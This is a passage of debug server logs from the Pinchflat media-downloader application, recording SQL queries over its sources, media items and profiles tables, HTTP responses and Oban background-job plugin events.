m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:52.086 [info] Sent 200 in 25ms 04:52:52.086 [info] Sent 200 in 24ms 04:52:52.086 [debug] QUERY OK source="tasks" db=0.5ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:52:52.086 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.3ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:52.087 [debug] QUERY OK source="media_items" db=1.8ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 04:52:52.087 [debug] QUERY OK source="sources" db=0.7ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.087 [debug] QUERY OK source="media_profiles" db=2.1ms queue=0.8ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:52.088 [debug] QUERY OK source="sources" db=5.1ms queue=1.3ms idle=0.0ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 04:52:52.088 [debug] QUERY OK source="media_items" db=1.4ms queue=0.7ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:52.089 [debug] QUERY OK source="media_profiles" db=3.8ms queue=0.7ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:52.089 [debug] QUERY OK source="media_items" db=1.7ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:52:52.090 [debug] QUERY OK source="media_items" db=2.5ms idle=0.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 04:52:52.090 [info] Sent 200 in 29ms 04:52:52.091 [debug] QUERY OK source="sources" db=0.8ms queue=0.6ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:52.091 [info] Sent 200 in 29ms 04:52:52.091 [debug] QUERY OK source="media_items" db=0.5ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 04:52:52.092 [debug] QUERY OK source="media_items" db=2.9ms queue=0.2ms idle=0.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:52:52.092 [debug] QUERY OK source="media_items" db=2.4ms idle=1.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:52:52.092 [info] Sent 200 in 31ms 04:52:52.093 [debug] QUERY OK source="media_items" db=1.5ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:52:52.093 [debug] QUERY OK source="sources" db=0.9ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:52:52.094 [info] Sent 200 in 29ms 04:52:52.095 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.095 [debug] QUERY OK source="sources" db=0.7ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:52.095 [info] Sent 200 in 33ms 04:52:52.096 [debug] QUERY OK source="media_items" db=0.7ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 04:52:52.097 [debug] QUERY OK source="media_items" db=1.1ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:52:52.097 [debug] QUERY OK source="media_items" db=2.4ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 04:52:52.098 [debug] QUERY OK source="media_items" db=2.2ms idle=0.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:52:52.099 [debug] QUERY OK source="sources" db=0.7ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.100 [debug] QUERY OK source="media_items" db=2.1ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:52:52.101 [debug] QUERY OK source="sources" db=12.1ms queue=0.3ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 04:52:52.101 [debug] QUERY OK source="media_items" db=1.5ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 04:52:52.101 [info] Sent 200 in 40ms 04:52:52.102 [debug] QUERY OK source="media_items" db=3.4ms queue=0.1ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:52:52.102 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.102 [debug] QUERY OK source="media_items" db=1.1ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:52:52.104 [info] Sent 200 in 38ms 04:52:52.104 [info] Sent 200 in 42ms 04:52:52.104 [info] Sent 200 in 39ms 04:53:00.897 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:53:05.723 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:35.724 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:41.304 [info] GET / 04:53:41.304 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:53:41.306 [debug] QUERY OK source="settings" db=0.6ms idle=1768.0ms SELECT 